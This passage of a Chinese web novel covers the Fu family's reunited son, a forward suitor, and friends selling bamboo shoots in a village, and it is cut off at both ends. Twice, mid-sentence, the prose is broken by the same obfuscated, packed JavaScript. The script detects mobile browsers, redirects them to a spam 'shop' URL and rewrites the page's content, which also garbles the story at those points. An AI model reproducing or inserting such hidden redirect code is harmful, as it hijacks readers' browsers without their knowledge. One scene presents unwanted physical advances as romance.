屋里传来响动,不一会儿,窗户被推开,一位坐在轮椅上的老人探出头来,看清是夏叙言,脸上立刻堆满了慈祥的笑容,“是叙言啊!院门没锁,你直接推进来!” “好嘞!”夏叙言走进院子里,握住把手轻转,在听到门锁开的清脆的一声咔,再浅浅用力一推。 厚重的大门自动打开,穿着剪裁合体的黑色西装的助理步入一座气派而不失雅致的四进院落。院落以中轴线贯穿,青砖灰瓦,庭院宽敞,几株老树遒劲,墙角点缀着几丛初绽的迎春。② 此人是傅砚修的助理。 助理目不斜视,穿过前院,径直走向北面的正房。他在门口略作停顿,整理了一下并无线褶的西装下摆,这才轻轻叩门,然后推门而入。 室内的装潢是含蓄的中式奢华,以深沉的朱红与典雅的米白为主调。多宝阁上陈列着古玩,一只青花瓷瓶里插着几枝红梅,幽幽吐香。案几上一只小巧的铜香炉,正升起袅袅青烟。 光线有些昏暗的角落,红木沙发上坐着一个身影,那人穿着件做工考究的黑色刺绣中山装,姿态有些闲散地靠着,双膝自然分开。昏暗的光线模糊了他的五官,只隐约勾勒出线条优越的侧脸轮廓。 少年前倾身子,将手中的茶杯稳稳放在茶几上,他一截手腕露在外,十指修长,指节分明。 他起身走进光里,他看人的时候半垂着眼,金丝眼镜所垂下的银色细链微微摇晃,一双带有下三白的丹凤眼缓缓撩起视线,带着些许锋利和冷漠观着来人。 傅砚修。 傅家刚找回来的真少爷。 他用指节漫不经心地叩了叩光滑的红木桌面,声音是与他年轻面容不太相符的低沉平稳,“去临城的机票,订好了吗?” “订好了,少爷。下午五点起飞。”助理恭敬地回答,同时将手中的一个文件夹双手呈上,“您之前吩咐要查的资料,已经全部整理妥当,在这里面。” 傅砚修接过文件夹,并未立刻翻开,只淡淡道,“把我的机票,往后延期三天。” 助理微微一怔,“延期三天?是行程有变吗?” “嗯。”傅砚修目光微转,落在不远处壁炉架上摆放的一张合影上。 照片里是看似和谐的一家四口:威严而不失慈爱的傅父,优雅温婉的傅母,笑容明朗眉眼与傅母有几分相似的傅拭雪,以及神情略显冷淡的自己。 傅家在京城的根基,要往前数三代。 傅砚修的爷爷那辈是靠实业起家的,后来几经沉浮,到了傅父手里,已经发展成了横跨地产、金融、投资的综合性集团。 傅则民这个人,手段狠,眼光毒,圈里人提起他,都说不好惹。 但他也有软肋。 唯一的儿子傅砚修,三岁那年被人贩子拐走了。 那是傅则民这辈子最灰暗的日子,动用所有人脉找,找了整整十五年。 找到的时候,傅砚修已经十八岁了。 他运气不算差。被拐后辗转了几手,最后被港圈一个傅姓世家收养了。说来也巧,那家也姓傅。港城的傅家,做的是航运和珠宝生意,根基不比京城傅家浅。那家的当家人傅老爷子早年丧子,一直没能再生,收养他之后,视如己出。 傅砚修在那边,是独子,是少爷,是傅老爷子后半辈子所有的指望。 他过得很好。 好到傅则民站在港城傅家客厅里,看着那个陌生又熟悉的年轻人时,忽然不知道该怎么开口。 “你是我爸?” 傅砚修问他,语气很平静,听不出喜怒。 傅则民点头,眼眶红着,声音抖着。 傅砚修沉默了一会儿,然后他回头看了一眼傅老爷子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310817|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老人坐在沙发上,没起身,但手一直攥着拐杖,攥得指节发白。 他又看了看傅则民。 “他在那边。”他说,“养了我十五年。” 傅则民说不出话。 后来傅砚修还是认了京城傅家,是因为傅老爷子告诉他,那是他的根,该认。 但他没有改姓,也没有搬走。 他在港城住到大学毕业,节假日两边跑。 京城傅家这边叫他回去过年,他就回去待几天,然后赶在正月十五之前回港城。 傅老爷子每年送他去机场的时候,都要在门口站很久。 他都知道,但他没办法。 他始终记得,是谁在他最怕的时候伸出手,是谁把他从一个被转了好几手的“货”变成了傅家小少爷。 京城傅家给的是血脉。 港城傅家给的,是命。 至于傅拭雪—— 他是被捡来的。 那年傅则民还在到处找儿子,路过福利院的时候,在路边看见一个五六岁的孩子。脏兮兮的,瘦得皮包骨,蹲在路边发呆,旁边扔着半个发霉的馒头。 傅则民也不知道自己当时怎么想的。可能就是那一瞬间,想到了自己不知所踪的儿子。 他把孩子带上了车,把他洗干净,喂饱,送去医院检查。 孩子什么都不记得,只知道自己叫“小石头”。 傅则民给他取了个名字,傅拭雪。 拭,是擦拭。雪,是干净。 他没想过要收养他,只是暂时带着,但带着带着,就舍不得放下了。 后来傅砚修被找到,带回傅家的时候,傅拭雪已经在这个家待了十年。 傅则民把傅砚修带到他面前,“这是拭雪,比你大几岁。” 傅砚修看着他,没说话。 眼神里没有敌意,他只是直白地看着傅拭雪。 傅拭雪也看着他。 两个人在客厅里站了很久,谁也没先开口。 后来傅砚修收回目光,淡淡“嗯”了一声,上楼去了。 日子就这么过着。 同一屋檐下,见面点头,吃饭同桌,该说话说话,该客气客气。但傅砚修从不主动找他,从不喊他,从不多看他一眼。 不是冷漠,是疏离,像隔着一层什么东西,傅拭雪知道那是什么。 他是傅则民捡来的,傅砚修是傅则民亲生的。 哪怕傅砚修在港城长大,这个家对他来说是陌生的,但血缘在那儿,那是谁都改变不了的事实。 而他,只是个替代品。 在傅砚修回来之前,他还能骗骗自己。傅则民对他好,他就当自己真的是这个家的一份子。 可傅砚修一回来,那个泡沫就破了。 他不是。他从来都不是。 傅砚修对他的打量,他看得懂。 那眼神是在问:你是谁?你凭什么在这里? 他不知道怎么回答。 因为他自己也不知道答案。 后来傅拭雪离开傅家。 助理顺着他的目光看去,心下了然,“是因为老爷和夫人今天回国?” “算算时间,飞机应该快落地了。”傅砚修收回视线,语气没有什么起伏,“备车,去机场。” 初春的京都,空气里依然裹挟着寒意。尽管阳光高照,风吹在脸上依旧凛冽。傅砚修步伐沉稳地走向停在院外的黑色迈巴赫,坐进后座。 助理坐进驾驶位,发动了车子。引擎低沉地轰鸣。 车子平稳地滑出古朴的街巷,汇入都市的车流。傅砚修放松身体靠进柔软的真皮座椅里,伸手按下扶手上的一个按钮,身旁的储物格无声滑开。他拿出里面的笔记本电脑,打开,屏幕冷白的光映在他没什么表情的脸上,眉目低垂,开始处理屏幕上密密麻麻的邮件和数据。 低调的豪车在高架桥上匀速行驶。车窗外是飞速倒退的城市景观,车窗内是凝神工作的少年。 车辆上方万米高空一架飞机掠过,飞机的高度不断地降低,在匀速飞行一段距离后,规范地下降到平阔的滑行道,滑行一段距离,飞机稳稳停在廊桥旁。 机舱内响起乘务员柔和的声音,“亲爱的旅客,本架飞机已经完全停稳,请您从前登机门下飞机。谢谢!LadiesandGentlemen…” 飞机舷梯缓缓对接。 傅砚修合上电脑,揉了揉眉心。车子已经驶入机场的地下停车场。他下车,步履从容地走向国际到达厅。 在行李提取转盘处,他很快便看到了风尘仆仆却精神矍铄的父母。傅父穿着一件休闲夹克,正和傅母说着什么,傅母则温柔地笑着。 傅砚修走上前,生硬地开口,声音比平时更低一些,“爸,妈。” 说完,他自然而然地接过了傅父手边的行李箱拉杆。 傅父自然地将行李箱交给儿子,伸手拍了拍傅砚修的肩膀,语气带着点玩笑,“你这小子终于肯来接我们回家了。” 傅砚修拖着行李转身走在前面,他伸手将领口往上拉了拉,淡淡地应了一声,“嗯。” 没了行李箱,傅父右手就很顺手地牵住妻子的手,他跟随在儿子身后,看似不经意地开口,“你哥呢?” 傅砚修脚步未停,也没有回答,只是伸手将挂在脖子上的无线耳机戴好。 “这小子,离家出走这么久,还没回来啊!”傅父挑眉,观察着小儿子的神情,他倒是没什么察觉,只是轻喟一声,“这小子,等他回来我一定要打他屁股。” 傅砚修低垂着眸,看不太清神色,语气慢闲又意有所指,“等他回来,您不去找他吗?” 他顿了顿,补充了一句,更像是在自言自语,又像是一个轻轻的诘问。 “或者,您没曾想过他为什么不回来?” 9. 交锋 “想过。”傅父的目光投向车窗外广阔无垠的天空,语气平缓,甚至带着点悠然,“所以啊,不急着去抓那只跑出去的小兔崽子。” 傅砚修猛地转头看向父亲,眼神里闪过一瞬的错愕和探究。 他盯着父亲线条硬朗的侧脸看了几秒,没从上面捕捉到任何愠怒或急切,只有一种近乎从容的了然。 他沉默地收回视线,喉结几不可察地滚动了一下,声音恢复了惯常的冷淡,“车停在外面了,走吧。” 三人上了车,傅砚修径直坐进副驾驶,将后座宽敞的空间留给了父母。 他系好安全带,双手交叉搁在小腹上,目视前方,对司机简洁道,“开车。” 车子平稳地驶回那座位于闹中取静之处的四合院。 刚从街门拐进前院,坐在副驾的傅砚修一眼就看到,原本属于他车位上,此刻停着一辆极其扎眼的紫色法拉利。一个穿着同色系淡紫长裙的女人正慵懒地倚在车门上。 她一头浅紫色的波浪长发如海藻般倾泻而下,直至腰际,越发衬得那身段纤细窈窕,腰肢不盈一握。 似乎是听到了引擎声,她缓缓转过身,透过前挡风玻璃,准确地捕捉到了傅砚修的视线。 然后,她红唇微勾,漾开一个极妩媚的笑容,那双微微上挑的狐狸眼里波光流转,带着毫不掩饰的勾魂摄魄风情。 助理将车稳稳停好。傅母最先下车,看到宋鹤眠,脸上露出惊喜又亲切的笑容,快步走过去拉住她的手,“小眠?你怎么来了?也不提前说一声。” 握住的瞬间,傅母眉头轻轻蹙起,她将孩子的手放在手心不断地搓动着,“你的手怎么这么凉,快进去坐坐,喝杯热茶暖暖身子。” 宋鹤眠任由傅母握着,笑容温婉得体,声音轻柔,“傅伯母,打扰了。我……想和砚修单独说几句话,可以麻烦您和伯父先进去休息吗?” 说话间,她眼睫微垂,鸦羽般的睫毛在眼下投出小片阴影,看上去竟有几分乖巧。 傅母闻言,下意识看了一眼刚从车里下来,站在不远处没什么表情的小儿子。 见傅砚修虽冷着脸,但并未出言反对,便笑着拍了拍宋鹤眠的手,“好,你们年轻人聊,我和你伯父先进去。” 说着,便挽起傅父的手臂,示意助理跟上,三人说说笑笑地进了正屋。 院子里只剩下他们两人,空气似乎都安静了几分。 傅砚修木着一张脸走近,语气疏离,“你怎么来了。” 宋鹤眠没有立即回答,只是一双眸直勾勾地看着他。 两人之间的距离在顷刻间拉近。 傅砚修缓缓掀起眼皮,与她对视,眉宇间是化不开的冷峭与疏离。 两人视线交锋,傅砚修眼底神情淡淡的,看不出什么波动。 都这么近了,他还是无反应。 对视片刻,宋鹤眠红唇的弧度加深了些。 她等不了了,该进攻了。 她抬起手,染着淡紫色蔻丹的指尖,极其自然地勾起了傅砚修金丝眼镜垂下的那根银色细链,在指间缠绕把玩。上扬的语调带着钩子,像苍耳粘附在衣摆,“来看看我的……联姻对象啊。” 傅砚修眸光一冷,抬手便将细链从她指尖抽回,声音更寒了几分,“傅家不止我一个少爷。别忘了,和你宋家有婚约的是大少爷傅拭雪,怎么也轮不到我。” 宋鹤眠闻言,非但不恼,反而轻笑着摇了摇头。她微微凑近,嗓音压低,气息拂过他耳廓,带着一种隐秘的诱惑,“不,就是你。” 傅砚修眉头蹙得更紧,薄唇吐出的话带着刺,“我才二十一。姐姐,您这算不算……老牛吃嫩草?” 宋鹤眠听了这话,眼底的笑意反而更浓。 下一秒,她毫无预兆地伸手,掌心抵住傅砚修身后的车身,整个人欺近,将他困在自己与冰冷的金属之间。 她歪着头,眨了眨眼,红唇几乎贴上他的下颌线,语气娇媚得如同情人间的呢喃,“我也才二十七,女大三抱金砖,我大你六岁……” 她刻意停顿,看着少年陡然绷紧的下颌线和微微泛红的耳尖,才慢悠悠地补充,“两块金砖呢,傅小少,你还赚了。” 傅砚修身体下意识后仰,想要避开这过近的距离和灼人的气息,却发现退路已被封死。 他抿紧了唇,伸手想去扣住她近在咫尺的手腕,将她拉开。 “别动。” 宋鹤眠却先一步,伸出食指,轻轻点在他胸口。她秀气的眉梢不耐地蹙起,刚才那副娇媚模样褪去几分,显出一点强势的本色,“我脾气不好,别逼我动手揍人。” 傅砚修试着挣动了一下,却发现自己竟被这看似纤细的女人压制得动弹不得。他扭开头,闭上眼,试图用无视来抵抗这令人心慌的禁锢和迫近。 “乖一点。”宋鹤眠似乎对他这无声的反抗感到有趣,空着的那只手忽然在他腰间软肉上不轻不重地一掐。 “!”傅砚修身体猛地一颤,像是被电流击中,瞬间卸了力,喉间溢出一声极轻的闷哼。他别过脸去,脖颈线条拉得笔直,紧紧闭着眼,耳根的红晕却迅速蔓延到了脸颊。 宋鹤眠将他的无声反抗收观眼底,轻轻一声低笑从喉间传来,似是无心,实则意味深长。 真有意思,刚才还冷得像块冰,现在不过是几句话、一个小动作,这张清冷白皙的脸就染上了羞恼的绯色。 她凝眸,目光落在他因为紧张而上下滚动的喉结上,眼神深处掠过一丝晦暗的光。 但这还不够,她还想要更多。 她想要他……为她动心。 哪怕只是一丝微澜,一点慌乱。 心思流转间,宋鹤眠微微低头,柔软的唇瓣毫无预兆地贴上了那处凸起的喉结。 她甚至张开齿关,不轻不重地咬了一下。与此同时,那根冰凉的眼镜细链垂落,若有似无地擦过她的眼角,还残留着他皮肤的温度。 喉结上传来湿热酥麻的触感和细微的刺痛,傅砚修猛地睁开眼,眼角泛起一片洇湿的红,胸膛不受控制地剧烈起伏起来,呼吸都乱了。 宋鹤眠的唇依旧贴着他颈侧的皮肤,声音压得低哑,带着赤裸裸的蛊惑。 “傅少,跟我打过交道的人都说,我是个很好的猎手。” 她微微退开一点,直视着他骤然收缩的瞳孔,一字一句。 “因为被我盯上的猎物……从来没有逃脱过。” 她的目光扫过他泛红的脸颊和紧闭的唇,嫣然一笑。 “你,也不会例外。” “你……”傅砚修气息不稳,修长的手指抬了抬,想要推开她,却无措地悬在半空,最终只是强作镇定地开口,声音却泄露了一丝颤意,“……过界了。” “你喜欢吗?” 宋鹤眠故意追问,双眸一瞬不瞬地锁着他,直到看见那抹绯红从脸颊一路蔓延到脖颈,连冷白的锁骨都染上了粉色,才满意地稍稍退开一点距离,“只对你一个人这样过界。别人……可近不了我的身。” 这一来一往的交锋,极致暧昧的拉扯,傅砚修对上她的视线后,随即忙不迭地移开,以试图躲开她的视线中和精神上的进犯。 见小孩是真的红透到极致,绷着身体,警惕着她,像是某种应激的动物,宋鹤眠才放过他。 她指尖杵在傅砚修的薄肌上,借力让自己站直。优雅地向后退了两步,保持社交该有的距离,切换出另一面。 “傅小少,不请我进去喝杯茶吗?” 宋鹤眠将手放在身后,屈身歪头从下至上地仰视着他,一双明亮的眼睛眨巴眨巴,眼波间流转的是清纯与期待。 这骤然的转变让傅砚修有些愣怔。他睁开眼看向她,对上那双此刻盛满清澈笑意的眸子,仿佛刚才那个将他按在车身上调戏的女人,只是他的一场幻觉。 见他不说话,宋鹤眠假装失落地垂下眼睫,语气带着点委屈,“不愿意吗?那好吧……我去跟伯父伯母打个招呼就走。” 傅砚修被她这变脸般的演技弄得心头一滞。 经过刚才那一番“交锋”,他深知眼前这个女人绝不像外表看起来这般乖巧纯良。 他倒想看看,她葫芦里到底卖的什么药。再加上,之前握她手时感受到的冰冷…… 他别开脸,语气依旧硬邦邦的,却不再拒绝,“随你。” 说完,他转身就往正屋走。 刚走了几步,又像想起什么似的,折返回来,打开自己的车门,从里面拿出一件叠放整齐的紫色冲锋衣,塞进宋鹤眠手里,动作有些僵硬,声音也压得很低,“开春了,风还冷。穿上。” 没等她反应,他便头也不回地快步走进了屋内,背影看起来竟有几分落荒而逃的意味。 宋鹤眠站在原地,凝视着他消失在门内的身影,指尖缓缓收紧,握住了那件还带着车内暖意和一丝淡淡冷冽香气的冲锋衣,另一只手的手指微微蜷缩了一下。 忽然,她感觉眼角微微一凉,一滴细小的水珠从天空落下,恰好滴在外套胸前的布料上,洇开一小片深色的水渍。 她展开外套,将它披在自己身上。衣料很暖,似乎还残留着他的体温,将早春的寒意隔绝在外。 等她披着外套走进温暖的客厅时,茶几上已经摆好了几碟精致的茶点和水果。琉璃盏里,增城挂绿荔枝、淡雪草莓、罗马红宝石葡萄、三冠王黑莓等色彩鲜艳的水果分格而放,煞是好看。 傅砚修正垂眸摆弄着茶具,余光瞥见她进来,才拿起炉子上温着的茶壶,将色泽清亮的茶水缓缓注入一个白瓷杯中。 然后他起身,将茶杯递到她面前,目光看着杯沿,声音没什么起伏,“温的,不烫。” 宋鹤眠接过,指尖碰到杯壁,果然是恰到好处的温热。她抬眼对他笑了笑,语气真诚,“谢谢。” 这时,傅母拿着件披肩从楼上下来,正好看见两人相对而立的情景,以及宋鹤眠身上那件眼熟的外套。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310818|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中闪过一丝了然的笑意,为了不打扰他们,又悄悄拿着披肩退了回去。 将披肩挂回衣帽间,傅母走到窗边,目光落在后院那棵梅子树上。 枝头挂着青涩的小果子,离成熟还早。 梅子虽没成熟,但山上的春笋却漫布整个山野。 傅拭雪和李乘歌本是打算上山挖点鲜笋,晚上做一道腌笃鲜。却没想到,遇到了村里好几位也在挖笋的阿公阿婆,自然而然地就聊了起来。 李乘歌看着山间空地上堆着的三四麻袋鼓鼓囊囊的春笋,好奇地问,“阿婆,你们挖这么多笋,自己家吃得完吗?” 阿婆直起腰,用手背擦了擦额头的汗,笑着说,“一家人哪里吃得完这么多!这些啊,都是要挑去卖的。” 傅拭雪闻言,走到麻袋旁蹲下,仔细看了看里面笋的品质,问道,“阿婆,您这些笋一般卖多少钱一斤?” “唉,现在吃笋的季节快过去了,价钱卖不高喽。”阿婆叹了口气,“你们要是想要,给十五块一斤就成。” “十五一斤?”傅拭雪若有所思,他看向李乘歌,“李乘歌,想不想赚点钱?” “啊?”李乘歌抬起头,拍了拍手上的土,眼睛亮了亮,“赚钱?当然想啊!” 傅拭雪举起手中一根沾着泥土的鲜嫩春笋,没有说话,但意思表达得很清楚。 李乘歌眼珠转了转,看看笋,又看看傅拭雪,再看看那几大麻袋,很快明白了他的想法。她点点头,脸上露出跃跃欲试的神色,“是个好法子!试试?” 李乘歌原本的行动力算不上特别强,但身边有个说干就干的傅拭雪,无形中也被带动起来。 两人拉上正在院子里晒太阳且抱怨无聊的夏叙言,热火朝天地挖了一整天,收获颇丰,粗粗估计有五十多斤鲜笋。 第二天一早,三人便兴致勃勃地拉着笋去了镇上集市,找了个还算显眼的位置摆开。 他们以为在这个爱吃笋的小镇里售卖几十斤笋是一件很简单的事。 可现实却不是。 虽然临城一带确实爱吃笋,但镇上的居民,尤其这个季节,家家户户或多或少都有存货,或者有自己固定的购买渠道。他们的笋虽然新鲜,价格也合理,但叫卖了半天,问津者寥寥,大多数人只是匆匆瞥一眼便走开了。 线下销售这条路,眼看是走不通了。 李乘歌有些泄气地坐在马路牙子上,托着腮叹气。夏叙言也喊得口干舌燥,蹲在一旁蔫头耷脑。 这时,他们注意到不远处路边停着一辆小货车,车前围了不少人,正将一袋袋笋搬到一个中年男人面前过秤。 那场景,和他们这边的冷清形成了鲜明对比。 夏叙言好奇地伸长脖子张望。傅拭雪见状,拍了拍他的肩,“好奇就去看看。” 得了允许,夏叙言立刻精神一振,起身掸了掸裤子上的灰,溜溜达达地凑了过去。 他先在人群外围左看看右看看,然后忽然指着天空某处喊了一声,“哎,你们看那是什么?” 趁着人群注意力被引开的刹那,他像条灵活的泥鳅,狡黠一笑,哧溜一下就钻到了人群最前面。 他侧头看着前方的称,满脸笑容地问道,“你们这是在干什么呢?” “收笋。”中年男人弯腰继续忙碌,抽空回了一句,“你家有笋要卖吗?” “有啊有啊!”夏叙言点头如捣蒜,“您这……多少钱收?” 中年男人这才撩起眼皮扫了他一眼,然后弯腰提起一袋刚称好的笋扔上车厢,报了个价,“七毛一斤。有多少?” 夏叙言睁大了眼睛,“七毛一斤?” “怎么,嫌便宜了?”中年男人站直,喘了一口气。 “七毛一斤?!”夏叙言眼睛瞬间瞪圆了,声音不自觉地拔高。他难以置信地看向周围正排队等着卖笋的乡亲们,“他收七毛,你们就卖了?” “对啊。”人群纷纷点头。 “对啊。”人群里传来理所当然的回答。一个性子急的妇人还伸手把他往旁边拨了拨,把自己三轮车上的麻袋拖到秤上,“去去,别挡道。大哥,看看我这一共多少斤!” 很快,妇人的笋称好了,一共一百二十斤。 中年男人从腰间挂着的旧钱包里,抽出几张有些褶皱的钞票,递给妇人,“一百二十斤,八十四块。” 妇人接过钱,黝黑却朴实的脸上立刻绽开满足的笑容,嘴里还高兴地念叨,“这下好了,一个礼拜的买菜钱有了!” 夏叙言呼吸微微一滞,目光缓缓扫过周围一张张带着汗渍却因这微薄收入而露出朴实笑容的脸庞,又看了看那一袋袋沉甸甸却只换来几张零钞的鲜笋。 夏叙言呼吸微滞,目光在周围的人们脸颊上扫过,转瞬就理清了其中头绪。 他皱眉走出人群,似乎在思索着什么。 夏叙言稳稳站立在傅拭雪身前,沉吟片刻。 “拭雪,七毛钱一斤的笋,卖吗?” 10. 报警 “七毛?” 傅拭雪仰起头,唇线抿得笔直,敛眸沉声问道,“这个价格……是不是有点欺负人了。” 夏叙言无力地在他身旁坐下,弯下腰,手指无意识地揪扯着笋壳,“岂止是欺负人?对我们来说,这简直是侮辱。挖一天笋,汗流浃背,手上磨出泡,最后论斤卖,可能还不够一顿像样的饭钱。” 他顿了顿,抬头望向不远处那群依旧围着货车,脸上带着淳朴期盼的乡亲,声音低了下去,“但是……在这里,这个价格就是常态。是大家默认的,甚至……是许多人维持生计的一部分。” “是常态。”李乘歌从小卖部买回三瓶水,依次递给两人,声音很轻,带着一种习惯的了然。她在傅拭雪旁边也坐了下来,拧开瓶盖喝了一口。 傅拭雪接过水,没有喝,只是拿在手里,听她继续说。 “去大城市待了几年,习惯了每个月四五千……甚至更高的收入。”李乘歌望着远处灰扑扑的街巷和忙碌的人群,眼神有些飘远,“差点忘了,在小县城,在村子里,收入是多么单薄。小时候,我家也有很多东西,蔬菜、瓜果,甚至是粮食,就是以几毛钱、几分钱的价格,被开着车来的小贩收走。” 她记得很清楚,每次父母接过那皱巴巴还可能只有十几块、几十块的钞票时,脸上那种混合着疲惫、无奈,又带着一点点满足的神情。 那点钱,意味着可以多买一斤肉,给家人添件便宜的衣裳,或者给自己交一部分学杂费。 “农作物……很多时候真的不值钱。”李乘歌的语气平静,却像钝刀子割肉,缓慢而沉重,“很多农民辛苦一年,看天吃饭,到头来收入可能连日常开销都勉强,甚至不够。这里很多散户的农产品,都是这样几毛、几分地被收走。他们靠这点微薄的收入,养活一家老小。” 她看向傅拭雪和夏叙言,眼神复杂,“他们不敢反抗,也无力反抗。如果不卖,就连这几十块、十几块的收入都没了。卖,至少还能换回点油盐酱醋。时间久了,大家都习惯了,甚至觉得本该如此。被打压得久了,很多人已经不知道什么才是合理的价位,也不知道该怎么去维护自己应得的权益。” 当一个人在这样的环境里生活久了,会被同化。 当一群人被同化了,这就变成了规则,变成了无法撼动的“常态”。 三人沉默地坐在路边,直到下午五点,他们的笋依旧无人问津。 天色渐晚,集市开始散去。 那个收笋的中年男人忙完了那边,踱步走了过来,站在他们的摊前,目光扫过那些依旧水灵鲜嫩的笋。 “一块钱一斤,”男人开口,语气平淡,像是在说一件寻常事,“卖不卖?” 傅拭雪抬眸,目光平静地看向他,指腹无意识地摩挲着矿泉水瓶。他思考了几秒钟,然后清晰地吐出两个字,“不卖。” 男人沉默地看了他片刻,“一元五一斤?” 傅拭雪缓缓摇头,语气依旧坚定,“不卖。” 见人不松口,男人也就没再坚持了,转身回到货车旁,利索地把秤扔上车,发动引擎,驾驶着那辆载满廉价收购来的鲜笋的货车,消失在渐渐昏暗的街道尽头。 日暮彻底降临,一阵带着春夜潮气的凉风吹来,李乘歌下意识地拉紧了外套领口,捋了捋被风吹乱的刘海,同时忍不住吸了吸鼻子。 这细微的声音落在傅拭雪耳中。他侧目看了她一眼,没说什么,只是动作利落地起身,开始收拾地上没卖出去的笋和简单的垫布。 “叙言,李乘歌,”他将东西搬上小皮卡的后斗,声音在暮色里显得格外沉稳,“我们回家。” “噢。”夏叙言有气无力地应了一声,垂着眼皮,拉开车门坐进了副驾驶。 李乘歌也温吞地应道,“噢,来了。” 三人带着一身疲惫和说不清的憋闷回到小院。 傅拭雪一进门就催着两人赶紧去洗个热水澡,冲掉身上的寒气和沮丧,“快去,别着凉了。” 看着两人各自回了房间,他才转身走进厨房,系上围裙,开始淘米洗菜。 厨房的灯光暖黄,锅碗瓢盆的碰撞声带着人间烟火的踏实感,慢慢驱散着外面的阴霾。 - 几日的好天气之后便迎来了阴雨天。 李乘歌裹着厚外套,抱着暖水袋和米饭,坐在堂屋敞开的屋檐下,望着外面的雨幕。 天空阴沉得像块吸饱了水的灰布,乌云低垂翻滚。 雨水从青灰色的瓦檐成串落下,在石阶上溅起细密的水花。哗啦啦的雨声笼罩了整个村庄,即使坐在檐下,潮湿的水汽也无孔不入地扑面而来。骤雨带走了前几日积累的暖意,只留下无沁入骨髓的凉。 傅拭雪一早就开车去了市里办事,估算着大概还有两个小时才能回来。 夏叙言拿着一把黑色的大伞从房间走出来,准备出门。 “要出去?”李乘歌听到动静,转过头问。 “嗯,”夏叙言撑开伞,看了看外面密集的雨线,“雨这么大,我去田里转转,看看麦子和玉米的情况,别积了水。” 李乘歌将暖水袋往怀里拢了拢,温声提醒,“多穿件衣服吧,外面水汽重,寒气也重。” “好。”夏叙言从善如流,又回屋加了件厚实的冲锋衣,才举着伞踏入雨幕。 夏叙言撑着伞,小心地走在变得湿滑泥泞的田埂上。 每走过一块自家的地,他就停下来,用手机拍一段视频,记录下田里的水位、作物的情况。 走完四块主要的麦田,他的手机里多了四个短视频,他点开傅拭雪的聊天框,一一发送过去。 发完视频,他干脆走下田埂,靴子踩进松软的泥土里,泥水没过了靴子三分之一左右。 田里的土被雨水泡得有些发软,但还不至于稀烂。农田的排水系统发挥了作用,雨水顺着预先开好的墒沟迅速流淌,汇入田边的水沟,再流入更远处的河道。 他在麦田里走了一圈,大致检查了墒沟的畅通情况,发现有几处小的堵塞,记在心里,等天晴了再来疏通。 看来小麦暂时问题不大,可以任其生长了。他又去看了看旁边的玉米地,情况也类似。 巡查完毕,夏叙言重新走回相对干爽一些的田埂小路上。 “嘭嘭嘭——” 雨势似乎又大了些,豆大的雨点砸在伞面上,声音密集而沉重。浅黄色的泥地被雨水反复冲刷稀释,变得更加泥泞不堪。 在外面待得越久,寒意就像细针一样,穿透衣服,丝丝缕缕地渗进皮肤里。脚底隔着靴底与冰冷湿滑的地面接触,那股绵密尖锐的冷意,仿佛夹着冰碴子,一下下刺扎着,很快双脚就冻得有些麻木了。 夏叙言忍不住倒吸一口凉气,太冷了,脚底板都快没知觉了。 他正想着赶紧回去,忽然,雨点骤然变得更加狂暴,噼里啪啦砸下来,几乎成了倾盆之势。一道刺眼的紫色闪电撕裂阴沉的天幕,紧随其后的是震耳欲聋的惊雷,将天地瞬间照得惨白一片,又迅速归于昏暗。 夏叙言心里一紧,加快脚步往回赶。就在这时,他的余光似乎瞥见旁边一条更偏僻的小路上,有什么东西倒伏在泥水里。 他猛地停住脚步,眯起眼,逆着密集的雨线努力望去,看清之后他脑袋空白一瞬,骤然清醒那是什么。 他来不及反应,身体就直直往那边飞奔过去。 泥水飞溅,雨水模糊了视线。 近了,更近了……倒在路上的,果然是沈摘星! 她蜷缩在冰冷的泥水里,一动不动,浅色的衣服被泥浆浸透,脸色在昏暗的天光下白得吓人。 “沈摘星!”夏叙言几乎是扑过去的,伞脱手掉在一边。他半跪在泥泞里,颤抖着手将她上半身扶起,靠在自己怀里。雨水瞬间浇透了他的后背,但他浑然不觉。 “沈摘星!醒醒!”他提高声音喊她,声音在暴雨中显得微弱。耳畔只有哗啦啦的雨声,没有任何回应。 全是雨声。 怀里的人身体冰冷而僵硬,像没有生命的瓷娃娃。 夏叙言的手抖得更加厉害,比刚才在田埂上感受到的寒意更刺骨千百倍的恐惧,瞬间攫住了他的心脏。 “沈摘星……你别吓我……”他的声音发颤。 他将沈摘星在湿滑的地面上放平,一边在脑海里拼命回忆在学校里学过的但生疏的急救知识,一边挺直手臂,找到正确的位置,开始有节奏地按压她的胸口。 一下,两下,三下…… 泪水混合着雨水顺着脸颊滚落,滴在沈摘星冰冷的手背上。她的脸色苍白得像纸,嘴唇泛着青紫色,身体消瘦得令人心惊,仿佛一阵风就能吹走。 “沈摘星!醒醒!” “沈摘星,不要睡了,好吗?” “沈摘星!你醒醒啊!” 他一边按压,一边嘶哑地呼唤着她的名字,声音在暴雨中破碎不堪。恐惧像一只无形的手,紧紧扼住了他的喉咙。 “沈摘星……” 是谁……在叫她? 耳边模模糊糊传来声音,好像是从很远很远的地方飘过来的。 手上……怎么有一处温热的感觉? 是谁……为她落下了眼泪吗? 沈摘星感觉自己在一片浓得化不开的迷雾里行走,四周白茫茫一片,什么也看不清。 下一秒,脚下又变成了冰冷的沼泽,她越挣扎,就陷得越深,身体不断下沉,意识也在不断流失。 她试图回想自己是谁,为什么会在这里,但脑海中只有一片令人心悸的 